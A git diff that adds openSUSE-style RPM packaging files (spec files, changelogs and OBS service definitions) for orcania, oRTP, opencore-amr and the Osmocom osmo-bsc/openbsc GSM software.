+%preun bsc-sccplite %service_del_preun osmo-bsc-mgcp.service
+%postun bsc-sccplite %service_del_postun osmo-bsc-mgcp.service
+
+%files
+%license openbsc/COPYING
+%doc openbsc/AUTHORS openbsc/README
+%{_docdir}/openbsc
+%{_bindir}/osmo-nitb
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-nitb.cfg
+%{_unitdir}/osmo-nitb.service
+%dir %{_localstatedir}/lib/osmocom
+
+%files bs11-utils
+%{_bindir}/bs11_config
+%{_bindir}/isdnsync
+
+%files bsc-sccplite
+%{_bindir}/osmo-bsc_mgcp
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-bsc-mgcp.cfg
+%{_unitdir}/osmo-bsc-mgcp.service
+
+%changelog
diff --git a/rpm-local/spec/opencore-amr/_service b/rpm-local/spec/opencore-amr/_service
new file mode 100644
index 0000000..0ad0fd9
--- /dev/null
+++ b/rpm-local/spec/opencore-amr/_service
@@ -0,0 +1,7 @@
+<services>
+ <service name="download_src_package">
+ <param name="host">packman.links2linux.de</param>
+ <param name="protocol">http</param>
+ <param name="path">/downloadsource/844174/opencore-amr-0.1.5-1.9.src.rpm</param>
+ </service>
+</services>
diff --git a/rpm-local/spec/orcania/orcania.changes b/rpm-local/spec/orcania/orcania.changes
new file mode 100644
index 0000000..ff8bc51
--- /dev/null
+++ b/rpm-local/spec/orcania/orcania.changes
@@ -0,0 +1,62 @@
+-------------------------------------------------------------------
+Sat Dec 21 16:02:24 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.1.0
+ * Generate documentation via doxygen
+ * Add functions `pointer_list_clean_free`,
+ `pointer_list_remove_at_free` and
+ `pointer_list_remove_pointer_free`
+ * `split_string` returns `size_t`
+ * Add functions `o_strnchr` and `o_strrnchr`
+
+-------------------------------------------------------------------
+Fri Jul 12 20:59:29 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.0.1
+ * Fix double free() on `pointer_list_remove_at`
+ * Clean build process
+ * Fix config option STRTSR so cmake and makefile will use the
+ same name
+
+-------------------------------------------------------------------
+Tue Jul 2 20:39:00 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 2.0.0
+ * Add struct _pointer_list to manage arrays of pointers
+ * Add string_array_join, string_array_size
+ * Add o_base64url_encode and o_base64url_decode, and
+ o_base64url_2_base64 to convert base64 url format to base64
+ * Remove jansson related functions and dependency
+
+-------------------------------------------------------------------
+Fri Dec 28 16:18:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 1.2.9
+ * Fix build with Makefile.
+ * Improve build config file and install headers.
+ * Add config file orcania-cfg.h dynamically built with the options.
+ * Fix pkgconfig file
+ * Fix CMake build when /usr/local is not present in default build
+ path.
+ * Fix Makefile soname.
+- Remove patches:
+ * 0001-Fix-pkg-config-information-add-requires-fields-as-me.patch
+ * 0002-Fix-pkg-config-got-mixed-between-requires-and-requir.patch
+ * orcania-fix-build.patch
+
+-------------------------------------------------------------------
+Sat Aug 11 08:44:46 UTC 2018 - jengelh@inai.de
+
+- Update summaries.
+
+-------------------------------------------------------------------
+Fri Aug 3 17:46:28 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-Fix-pkg-config-information-add-requires-fields-as-me.patch
+ * 0002-Fix-pkg-config-got-mixed-between-requires-and-requir.patch
+
+-------------------------------------------------------------------
+Sun Jul 29 19:17:45 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 1.2.4
diff --git a/rpm-local/spec/orcania/orcania.spec b/rpm-local/spec/orcania/orcania.spec
new file mode 100644
index 0000000..353c0d2
--- /dev/null
+++ b/rpm-local/spec/orcania/orcania.spec
@@ -0,0 +1,77 @@
+#
+# spec file for package orcania
+#
+# Copyright (c) 2020 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%define sover 2_1
+Name: orcania
+Version: 2.1.0
+Release: 0
+Summary: MISC function Library
+License: LGPL-2.1-or-later
+Group: Development/Languages/C and C++
+URL: https://github.com/babelouest/orcania
+Source: https://github.com/babelouest/orcania/archive/v%{version}.tar.gz#/%{name}-%{version}.tar.gz
+BuildRequires: cmake
+BuildRequires: gcc-c++
+BuildRequires: pkgconfig
+
+%description
+Different functions for different purposes but that can be shared
+between other projects.
+
+%package -n liborcania%{sover}
+Summary: MISC function library
+Group: System/Libraries
+
+%description -n liborcania%{sover}
+Different functions for different purposes but that can be shared
+between other projects.
+
+%package devel
+Summary: Header files for orcania
+Group: Development/Libraries/C and C++
+Requires: liborcania%{sover} = %{version}
+
+%description devel
+Development and header files for orcania.
+
+%prep
+%setup -q
+
+%build
+%cmake
+make %{?_smp_mflags}
+
+%install
+%cmake_install
+
+%post -n liborcania%{sover} -p /sbin/ldconfig
+%postun -n liborcania%{sover} -p /sbin/ldconfig
+
+%files -n liborcania%{sover}
+%doc CHANGELOG.md README.md
+%license LICENSE
+%{_libdir}/liborcania.so.*
+
+%files devel
+%{_includedir}/orcania.h
+%{_includedir}/orcania-cfg.h
+%{_libdir}/liborcania.so
+%{_libdir}/pkgconfig/liborcania.pc
+
+%changelog
diff --git a/rpm-local/spec/ortp/baselibs.conf b/rpm-local/spec/ortp/baselibs.conf
new file mode 100644
index 0000000..ccef27a
--- /dev/null
+++ b/rpm-local/spec/ortp/baselibs.conf
@@ -0,0 +1 @@
+libortp9
diff --git a/rpm-local/spec/ortp/ortp.changes b/rpm-local/spec/ortp/ortp.changes
new file mode 100644
index 0000000..f8d5e04
--- /dev/null
+++ b/rpm-local/spec/ortp/ortp.changes
@@ -0,0 +1,96 @@
+-------------------------------------------------------------------
+Sat Aug 22 07:28:46 UTC 2015 - tbechtold@suse.com
+
+- update to 0.24.2:
+ * Minor release v0.24.2
+ * fix typo in rtcp_common_header_get padbit() macro definition
+ * Add option to enable/disable documentation generation when building with CMake.
+ * set correct dependency
+ * configure.ac: add --disable-documentation option to speed up dev builds
+ * re-add Requires field for devel rpm
+ * AVPF TMMBR/TMMBN: set correct ssrc to handle TMMBR in one-way video calls
+ * Release 0.24.1
+ * devel package does not require explicit dependency
+ * also add epoch to devel rpm
+ * set rpm epoc to 1 to be alined with redhat rpm
+ * logging.c: split line into 3
+ * Fix redefinition of WINAPI_FAMILY_PARTITION when using MinGW64 (thanks to Henrik Pauli for pointing this).
+ * increased the size of OrtpEventData.zrtp_sas.sas from 5 to 32 bytes to accomodate the B256 format SAS string
+ * add rtp_session_get_symmetric_rtp
+ * Define the "Additional #using Directories" when building winrttimer.cpp for Windows Phone.
+ * improve logging
+ * Fix last commit + allow use of C++.
+ * Begin handling of build for Windows Phone with CMake.
+ * Do not use absolute path in install instruction of CMake.
+ * Fix crash with RTPFB and PSFB packets scheduling.
+ * avoid uninstall to fail if nothing was installed before
+ * Add support for TMMBR and TMMBN feedback messages (part of RFC 5104).
+ * Fix possible receive bandwidth computation imprecision.
+
+-------------------------------------------------------------------
+Wed Jul 29 09:46:03 UTC 2015 - dimstar@opensuse.org
+
+- Add baselibs.conf: build libortp9-32bit, as needed by
+ libmediastreamer_base4.
+
+-------------------------------------------------------------------
+Sun Mar 15 16:35:32 UTC 2015 - sor.alexei@meowr.ru
+
+- Update to 0.24.0:
+ * RTCP send algorithm as describe in RFC3550.
+ * RTCP XR (RFC3611).
+ * RTCP send algorithm as describe in RFC4585: AVPF streams.
+
+-------------------------------------------------------------------
+Sun May 25 19:56:14 UTC 2014 - fisiu@opensuse.org
+
+- Update to 0.23.0:
+ * network simulator improvements
+ * updated to use ZRTPCPP>=4.0
+ * security bugfixes
+
+-------------------------------------------------------------------
+Wed Jun 26 08:51:13 UTC 2013 - fisiu@opensuse.org
+
+- ortp-devel obsoletes libortp-devel now.
+
+-------------------------------------------------------------------
+Fri Jun 21 10:06:08 UTC 2013 - fisiu@opensuse.org
+
+- Update to 0.22.0:
+ * network simulator improvements for simulating random lost packets
+ * srtp initialization bugfix
+- Source package renamed to ortp.
+
+-------------------------------------------------------------------
+Wed Oct 10 19:44:44 UTC 2012 - mailaender@opensuse.org
+
+- update to 0.20.0
+ - fix an issue on video call with ZRTP
+ - ZRTP media encryption
+ - SRTP media encryption
+ - RTCP support fixes
+ - add rtp_session_get_round_trip_propagation()
+ - optimisations in session-set intersection computation
+ - workaround fix for some versions of uclibc
+
+-------------------------------------------------------------------
+Tue Jan 31 11:23:07 UTC 2012 - jengelh@medozas.de
+
+- Remove redundant tags/sections per specfile guideline suggestions
+
+-------------------------------------------------------------------
+Sun Nov 7 09:35:41 UTC 2010 - pascal.bleser@opensuse.org
+
+- fix Group tags
+
+-------------------------------------------------------------------
+Sun Jul 18 09:51:36 UTC 2010 - dmacvicar@suse.de
+
+- create ortp8 package (0.16.3) from ortp5 (0.13.1)
+
+-------------------------------------------------------------------
+Fri Dec 21 03:14:04 CET 2007 - crrodriguez@suse.de
+
+- initial package version, required for linphone
+
diff --git a/rpm-local/spec/ortp/ortp.spec b/rpm-local/spec/ortp/ortp.spec
new file mode 100644
index 0000000..e435a06
--- /dev/null
+++ b/rpm-local/spec/ortp/ortp.spec
@@ -0,0 +1,92 @@
+#
+# spec file for package ortp
+#
+# Copyright (c) 2015 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2014 Mariusz Fik <fisiu@opensuse.org>.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+%define lname libortp9
+Name: ortp
+Version: 0.24.2
+Release: 0
+Summary: Real-time Transport Protocol Stack
+License: LGPL-2.1+
+Group: System/Libraries
+Url: http://linphone.org/eng/documentation/dev/ortp.html
+Source: http://download.savannah.gnu.org/releases/linphone/ortp/sources/%{name}-%{version}.tar.gz
+Source99: baselibs.conf
+BuildRequires: gcc
+BuildRequires: glibc-devel
+BuildRequires: make
+BuildRequires: pkg-config
+BuildRoot: %{_tmppath}/%{name}-%{version}-build
+
+%description
+oRTP is a LGPL licensed C library implementing the RTP protocol
+(rfc1889).
+
+%package -n %{lname}
+Summary: Real-time Transport Protocol Stack
+Group: System/Libraries
+
+%description -n %{lname}
+oRTP is a LGPL licensed C library implementing the RTP protocol
+(rfc1889).
+
+%package devel
+Summary: Headers, libraries and docs for the oRTP library
+Group: Development/Libraries/C and C++
+Requires: %{lname} = %{version}
+Provides: libortp-devel = %{version}
+Obsoletes: libortp-devel < %{version}
+
+%description devel
+oRTP is a LGPL licensed C library implementing the RTP protocol
+(rfc1889).
+
+This package contains header files and development libraries needed to
+develop programs using the oRTP library.
+
+%prep
+%setup -q
+
+%build
+%configure \
+%if %{?_lib} == lib64
+ --enable-mode64bit \
+%endif
+ --disable-static
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%post -n %{lname} -p /sbin/ldconfig
+
+%postun -n %{lname} -p /sbin/ldconfig
+
+%files -n %{lname}
+%defattr(-,root,root)
+%{_libdir}/*.so.9*
+
+%files devel
+%defattr(-,root,root)
+%doc AUTHORS COPYING ChangeLog NEWS README TODO
+%{_includedir}/ortp/
+%{_libdir}/*.so
+%{_libdir}/pkgconfig/*.pc
+
+%changelog
diff --git a/rpm-local/spec/osmo-bsc/_service b/rpm-local/spec/osmo-bsc/_service
new file mode 100644
index 0000000..c818693
--- /dev/null
+++ b/rpm-local/spec/osmo-bsc/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-bsc</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-bsc/_servicedata b/rpm-local/spec/osmo-bsc/_servicedata
new file mode 100644
index 0000000..8be978b
--- /dev/null
+++ b/rpm-local/spec/osmo-bsc/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-bsc</param>
+ <param name="changesrevision">7ab23b75afe9d095f30776c6778451d6fc107e79</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-bsc/osmo-bsc.changes b/rpm-local/spec/osmo-bsc/osmo-bsc.changes
new file mode 100644
index 0000000..446a6cf
--- /dev/null
+++ b/rpm-local/spec/osmo-bsc/osmo-bsc.changes
@@ -0,0 +1,1848 @@
+-------------------------------------------------------------------
+Wed May 06 20:03:38 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.41:
+ * om2k: Acknowledge the unknown MCTR messages we get from time to time
+ * om2k: Acknowledge the HW Infos Reports
+ * om2k: Fix type of msg_type in abis_om2k_tx_simple
+ * om2k: Fix TS channel config payload for non-superchannel case
+ * om2k: Don't use slashes in FSM IDs and use dashes instead
+
+-------------------------------------------------------------------
+Mon May 04 20:04:12 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.36:
+ * gsm_data.h: Comment the 'nokia' BTS fields
+ * timers: T->X: 23002, 23004, 23005, 23006
+
+-------------------------------------------------------------------
+Tue Apr 28 20:03:42 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.34:
+ * om2k: Add VTY command to allow TX of arbitrary message for testing
+ * om2k: Allow the CON configuration request to be triggered via VTY
+ * om2k: Allow TG and MCTR to be manipulated via VTY
+ * om2k: Add definitions for the TG object
+
+-------------------------------------------------------------------
+Mon Apr 20 20:03:56 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.30:
+ * handorer.h: Fix compilation with gcc-10
+
+-------------------------------------------------------------------
+Tue Apr 14 20:03:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.29:
+ * vty: clarify EGPRS Packet Channel Request message support
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Mon Apr 06 20:03:25 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.27:
+ * vty: 'gprs 11bit_rach_support_for_egprs': clarify error message
+ * vty: 'gprs 11bit_rach_support_for_egprs': drop redundant check
+ * rest_octets: cosmetic: fix alignment in gprs_cell_options
+
+-------------------------------------------------------------------
+Sat Apr 04 20:03:13 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.24:
+ * doc/manuals: remove deprecated DNAT from the VTY reference
+ * vty: fix: restore removed DNAT category as deprecated
+
+-------------------------------------------------------------------
+Fri Apr 03 20:03:25 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.22:
+ * remove 'NAT' log category
+
+-------------------------------------------------------------------
+Mon Mar 30 20:03:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.21:
+ * manual: add SCCPlite section
+ * manual: add SCCP/M3UA section from common chapters
+
+-------------------------------------------------------------------
+Sun Mar 29 20:03:18 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.19:
+ * Meas Tools, Avoid compiler format warnings
+ * Meas Tools: Avoid unusable terminal in case of error on osmo_sock_init
+ * Meas Tools: Avoid OSMO_ASSERT due to uninitialised logging.
+
+-------------------------------------------------------------------
+Fri Mar 27 21:07:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.16:
+ * VTY: regenerate bsc_vty_reference.xml
+ * VTY: let all descriptions end in \n
+ * VTY: add show bts failure report
+ * abis_nm: move fail report parsing to extra func
+
+-------------------------------------------------------------------
+Tue Mar 24 21:03:24 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.12:
+ * abis_nm.c: rx_fail_evt_rep: fix sd.bts
+
+-------------------------------------------------------------------
+Sun Mar 22 21:03:33 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.11:
+ * manual: add "Multiple Instances" section, akin to other manuals
+
+-------------------------------------------------------------------
+Sat Mar 21 21:04:33 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.10:
+ * main: exit on mutually exclusive codecs settings
+
+-------------------------------------------------------------------
+Thu Mar 19 21:03:28 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.9:
+ * osmo-bsc-minimal.cfg: fix codec-list
+
+-------------------------------------------------------------------
+Mon Mar 16 21:03:05 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.8:
+ * osmo-bsc/bsc_vty: fail on get_amr_from_arg error
+
+-------------------------------------------------------------------
+Thu Mar 12 21:02:57 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.7:
+ * osmo-bsc/bsc_vty: set default gprs cell bvci to 2
+ * tests/Makefile.am: allow running only one VTY test
+
+-------------------------------------------------------------------
+Mon Feb 17 21:12:54 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.5:
+ * bssap: Avoid logging error if no optional Global Call Ref IE received
+
+-------------------------------------------------------------------
+Wed Jan 29 21:06:19 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.4:
+ * OM2000: Add some more message types and IEs we now understand
+
+-------------------------------------------------------------------
+Fri Jan 24 21:18:39 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.3:
+ * VTY: fix writing of custom timer values to a configuration file
+
+-------------------------------------------------------------------
+Thu Jan 16 21:06:57 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.2:
+ * bsc_main: use higher default loglevels.
+
+-------------------------------------------------------------------
+Mon Jan 06 21:08:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.1:
+ * Introduce nm_fail_rep_signal_data for "SS_NM, S_NM_FAIL_REP" signal
+
+-------------------------------------------------------------------
+Fri Jan 03 21:10:48 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.6.0.0:
+ * Bump version: 1.5.0.43-e1f08-dirty → 1.6.0
+
+-------------------------------------------------------------------
+Thu Dec 12 21:05:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.43:
+ * debian, osmoappdesc.py, tests: switch to python 3
+
+-------------------------------------------------------------------
+Fri Dec 06 21:14:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.42:
+ * gsm_04_80: Avoid using deprecated API
+ * doc: osmux: use generated svg instead of pychart
+
+-------------------------------------------------------------------
+Wed Dec 04 21:03:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.40:
+ * exit(2) on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Mon Dec 02 21:07:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.39:
+ * abis_nm.c: fix RSL connection timeout for trx->nr > 0
+
+-------------------------------------------------------------------
+Sun Dec 01 21:11:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.38:
+ * Move a_reset_fsm regstration to __attribute__((contructor))
+ * manual: Fix copy+paste error
+ * check for osmo_ss7_init() error return value
+ * check for osmo_fsm_register() error return value
+
+-------------------------------------------------------------------
+Sat Nov 23 21:08:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.34:
+ * fsm: use deferred deallocation
+
+-------------------------------------------------------------------
+Wed Nov 20 21:11:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.33:
+ * bsc: Send MS Power Control msg upon max MS power change
+
+-------------------------------------------------------------------
+Tue Nov 19 21:13:36 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.32:
+ * abis_nm.c: replace magic numbers with NM_CHANC_* constants
+ * abis_nm.c: fix error message in verify_chan_comb()
+ * cosmetic: bs11_config: clean trailing whitespace
+ * bsc: Adapt maximum MS Power Ctrl level based on band and MS Power class
+
+-------------------------------------------------------------------
+Thu Nov 14 21:10:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.28:
+ * Fix some typos
+
+-------------------------------------------------------------------
+Tue Nov 05 21:17:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.27:
+ * osmo_bsc_main.c: fix CCCH_CONF computation: use pchan_from_config
+ * osmo_bsc_main.c: simplify computation of CCCH_CONFIG
+ * osmo_bsc_main.c: verify the physical channel mapping at startup
+ * VTY: also print the active phan config in ts_dump_vty()
+
+-------------------------------------------------------------------
+Fri Nov 01 21:11:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.23:
+ * gsm_data.h: Remove unused func declarations
+ * gsm_data.h: Remove unused field classmark from gsm_subscriber_connection
+ * Remove unused API classmark_is_r99()
+
+-------------------------------------------------------------------
+Tue Oct 29 21:04:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.20:
+ * rsl: Send IE MS Power Param to osmocom BTS models only
+ * rsl.c: Clean up some repeated use of long chains of pointers
+
+-------------------------------------------------------------------
+Mon Oct 28 21:03:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.18:
+ * rsl: Send IE MS Power Param during CHAN ACT and MS PWR CTRL messages
+ * bsc_vty: Fix typo in 'no depends-on-bts' cmd
+
+-------------------------------------------------------------------
+Tue Oct 15 20:03:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.16:
+ * sigtran: Set default remote ip to localhost instead of null
+
+-------------------------------------------------------------------
+Fri Oct 04 20:02:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.15:
+ * gsm_08_08.c: Mark func bsc_find_msc() static
+
+-------------------------------------------------------------------
+Thu Sep 26 20:03:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.14:
+ * bsc_subscr_conn_fsm: Cleanly clear BSSAP conn if associated channel closed during WAIT_CC
+
+-------------------------------------------------------------------
+Sun Sep 08 20:03:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.13:
+ * SMSCB: Send ETWS Primary Notifiation via RSL to BTS
+ * bsc: gsm_08_08.c: Remove repeated conn not null check
+ * a_reset.c: Don't wait 2 seconds to send first BSSMAP RESET
+
+-------------------------------------------------------------------
+Sat Sep 07 20:03:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.10:
+ * SMSCB: Send ETWS primary warning message via all dedicated channels
+
+-------------------------------------------------------------------
+Wed Sep 04 20:03:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.9:
+ * manual: Update statements regarding SCCPlite
+ * doc: update bsc_vty_reference.xml
+ * Cell Broadcast: CBSP and CBCH scheduling support
+
+-------------------------------------------------------------------
+Thu Aug 29 20:08:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.6:
+ * gsm_08_08.c: always pick first msc for unsolicit paging responses
+
+-------------------------------------------------------------------
+Tue Aug 27 20:05:20 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.5:
+ * lchan_select.c: tune log level in lchan_select_by_type()
+ * abis_nm.c: use LOGP() macro instead of LOGPC()
+
+-------------------------------------------------------------------
+Wed Aug 14 20:29:31 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.3:
+ * neighbor config: allow re-using ARFCN+BSIC pairs
+ * add vty 'no neighbors' to remove all HO targets
+
+-------------------------------------------------------------------
+Mon Aug 12 20:10:34 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.1:
+ * bsc_msc_data: remove unused member is_authenticated
+
+-------------------------------------------------------------------
+Thu Aug 08 21:57:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.5.0.0:
+ * Bump version: 1.4.0.109-caec1-dirty → 1.5.0
+ * Remove undefined param passed to logging_vty_add_cmds
+
+-------------------------------------------------------------------
+Fri Jul 26 20:34:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.108:
+ * rest_octets: add Serving Cell Priority Parameters
+
+-------------------------------------------------------------------
+Wed Jul 24 20:36:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.107:
+ * osmo-bsc.cfg: work with osmo-bts example cfg
+
+-------------------------------------------------------------------
+Tue Jul 23 20:17:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.106:
+ * turn -Werror=null-dereference into a warning
+ * doc: Add Osmux documentation to User Manual
+
+-------------------------------------------------------------------
+Mon Jul 22 10:35:46 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Disable LTO for now since it breaks compilation of the tests
+ See: https://osmocom.org/issues/4113
+
+-------------------------------------------------------------------
+Fri Jul 19 20:06:53 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.104:
+ * vty: Fix typo in VTY command descrption -> description
+
+-------------------------------------------------------------------
+Wed Jul 17 19:10:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.103:
+ * Fix some spelling errors found by lintian
+
+-------------------------------------------------------------------
+Tue Jul 16 20:08:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.102:
+ * logging: introduce LOG_BTS and LOG_TRX and use it everywhere
+
+-------------------------------------------------------------------
+Sun Jul 14 20:11:25 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.101:
+ * silence error for "invalid enum handover_scope value: none"
+ * comment and VTY doc tweaks
+
+-------------------------------------------------------------------
+Thu Jul 11 20:21:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.99:
+ * contrib/jenkins.sh: "maintainer-clean" after "publish"
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Tue Jul 09 20:13:39 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.97:
+ * remove double BSSMAP Clear on HO failure
+ * doc/manuals, vty doc: more handover doc clarifications
+ * make bsc_clear_request() static
+
+-------------------------------------------------------------------
+Thu Jun 27 20:34:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.94:
+ * bsc_subscr_conn_fsm: Log Tx of BSSMAP Clear Request with cause
+ * bsc_subscr_conn_fsm: Use gscon_bssmap_clear() helper on send failure
+
+-------------------------------------------------------------------
+Fri Jun 21 20:32:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.92:
+ * doc/manuals: review and tweak handover docs
+
+-------------------------------------------------------------------
+Tue Jun 18 20:18:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.91:
+ * Re-introduce support for IPA-encapsulated MGCP
+ * Remove extern declarations of libosmovty symbols
+
+-------------------------------------------------------------------
+Mon Jun 17 20:14:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.89:
+ * manuals: Add script to update vtr/counter documentation from docker
+
+-------------------------------------------------------------------
+Thu Jun 06 20:03:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.88:
+ * vty: adjust config name for unit-id
+ * bsc: Append Osmux Support IE only on AoIP
+ * Introduce msc_is_{sccplite,aoip}() helpers
+ * manuals: Update generated VTY reference and counters
+
+-------------------------------------------------------------------
+Fri May 31 20:03:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.84:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Mon May 27 20:03:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.83:
+ * rx_fail_evt_rep(): Don't recycle variable
+
+-------------------------------------------------------------------
+Sun May 26 20:03:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.82:
+ * Allow VTY to set the CCCH Load Indication Threshold
+
+-------------------------------------------------------------------
+Fri May 24 20:03:16 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.81:
+ * vty: Dump per-bts stat_item group in 'show bts' output
+ * keep per-BTS stat_items about RACH busy / RACH access percentage
+ * chan_alloc: Don't include CBCH channels in load computation
+ * smscb: Allow transmit of SCHEDULE and DEFAULT SMSCB
+ * abis_rsl: Fix log message about unimplemented common channel msg
+ * abis_rsl: Avoid "Unimplemented" log message for every CBCH LOAD IND
+ * abis_rsl: Add support for extended CBCH to rsl_sms_cb_command()
+
+-------------------------------------------------------------------
+Thu May 23 20:03:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.74:
+ * lcls: Fix MDCX with garbage on LCLS loop break
+
+-------------------------------------------------------------------
+Mon May 20 20:03:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.73:
+ * bssap: Feed Assign Complete with Osmux CID retrieved from MGW
+ * bssap: Parse Osmux CID on BSSAP Assign Req recv and use it in MGCP
+
+-------------------------------------------------------------------
+Sun May 19 20:03:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.71:
+ * bssap: Announce Osmux support on RESET (ACK) send
+ * bssap: Detect MSC Osmux support on RESET (ACK) recv
+ * vty: Add option to enable osmux towards MSC
+ * Make sure to default to AMR octet-aligned mode
+
+-------------------------------------------------------------------
+Tue May 07 20:04:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.67:
+ * handover_fsm.c: fix: prevent possible buffer overflow
+ * abis_rsl.c: missing newlines on log lines
